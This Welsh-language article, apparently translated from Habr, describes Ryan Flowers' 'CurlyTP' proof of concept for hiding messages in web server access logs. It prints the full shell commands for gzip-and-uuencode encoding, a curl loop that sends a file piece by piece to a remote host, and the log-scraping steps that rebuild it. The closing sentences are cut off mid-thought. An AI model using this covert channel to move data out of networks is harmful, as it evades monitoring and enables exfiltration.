Yn Γ΄l diffiniad Wikipedia, mae diferyn marw yn offeryn cynllwyn sy'n gwasanaethu i gyfnewid gwybodaeth neu rai eitemau rhwng pobl sy'n defnyddio lleoliad cyfrinachol. Y syniad yw nad yw pobl byth yn cyfarfod - ond maen nhw'n dal i gyfnewid gwybodaeth i gynnal diogelwch gweithredol.
Ni ddylai'r cuddfan ddenu sylw. Felly, yn y byd all-lein maent yn aml yn defnyddio pethau cynnil: bricsen rhydd yn y wal, llyfr llyfrgell, neu bant mewn coeden.
Mae yna lawer o offer amgryptio ac anonymization ar y Rhyngrwyd, ond mae'r union ffaith defnyddio'r offer hyn yn denu sylw. Yn ogystal, gallant gael eu rhwystro ar lefel gorfforaethol neu lywodraeth. Beth i'w wneud?
Cynigiodd y datblygwr Ryan Flowers opsiwn diddorol -
Mae'n ymddangos bod unrhyw weinydd gwe yn caniatΓ‘u ichi arbed bron unrhyw neges yn y log. Roedd blodau'n meddwl tybed sut i ddefnyddio hwn.
Mae'n cynnig yr opsiwn hwn:
- Cymerwch ffeil testun (neges gyfrinachol) a chyfrifwch yr hash (md5sum).
- Rydyn ni'n ei amgodio (gzip + uuencode).
- Ysgrifennwn at y log gan ddefnyddio cais sy'n fwriadol anghywir i'r gweinydd.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
I ddarllen ffeil, mae angen i chi gyflawni'r gweithrediadau hyn mewn trefn wrthdro: dadgodio a dadsipio'r ffeil, gwirio'r hash (gellir trosglwyddo'r hash yn ddiogel dros sianeli agored).
Mae lleoedd yn cael eu disodli gyda =+=
fel nad oes bylchau yn y cyfeiriad. Mae'r rhaglen, y mae'r awdur yn ei galw CurlyTP, yn defnyddio amgodio base64, fel atodiadau e-bost. Gwneir y cais gydag allweddair ?transfer?
fel y gall y derbynnydd ddod o hyd iddo yn hawdd yn y logiau.
Beth ydym ni'n ei weld yn y logiau yn yr achos hwn?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
Fel y soniwyd eisoes, i dderbyn neges gyfrinachol mae angen i chi gyflawni'r gweithrediadau yn y drefn wrth gefn:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
Mae'r broses yn hawdd i'w awtomeiddio. Mae Md5sum yn cyfateb, ac mae cynnwys y ffeil yn cadarnhau bod popeth wedi'i ddatgodio'n gywir.
Mae'r dull yn syml iawn. βPwynt yr ymarfer hwn yw profi y gellir trosglwyddo ffeiliau trwy geisiadau gwe bach diniwed, ac mae'n gweithio ar unrhyw weinydd gwe gyda logiau testun plaen. Yn y bΓ΄n, mae pob gweinydd gwe yn guddfan!β ysgrifennodd Flowers.
Wrth gwrs, mae'r dull ond yn gweithio os oes gan y derbynnydd fynediad at logiau gweinydd. Ond darperir mynediad o'r fath, er enghraifft, gan lawer o westeion.
Sut i'w ddefnyddio?
Dywed Ryan Flowers nad yw'n arbenigwr diogelwch gwybodaeth ac na fydd yn llunio rhestr o ddefnyddiau posibl ar gyfer CurlyTP. Iddo ef, dim ond prawf o gysyniad ydyw y gellir defnyddio'r offer cyfarwydd a welwn bob dydd mewn ffordd anghonfensiynol.
Mewn gwirionedd, mae gan y dull hwn nifer o fanteision dros βguddioβ gweinyddwyr eraill
Dyma un o'r ffyrdd o drosglwyddo negeseuon trwy ffeiliau gwasanaeth. Gallwch gofio sut roedd rhai cwmnΓ―au uwch yn arfer gosod
Y syniad oedd mai dim ond datblygwyr gwe fyddai'n gweld yr wy Pasg hwn, gan na fyddai person arferol yn edrych ar y penawdau na'r cod HTML.
Ffynhonnell: hab.com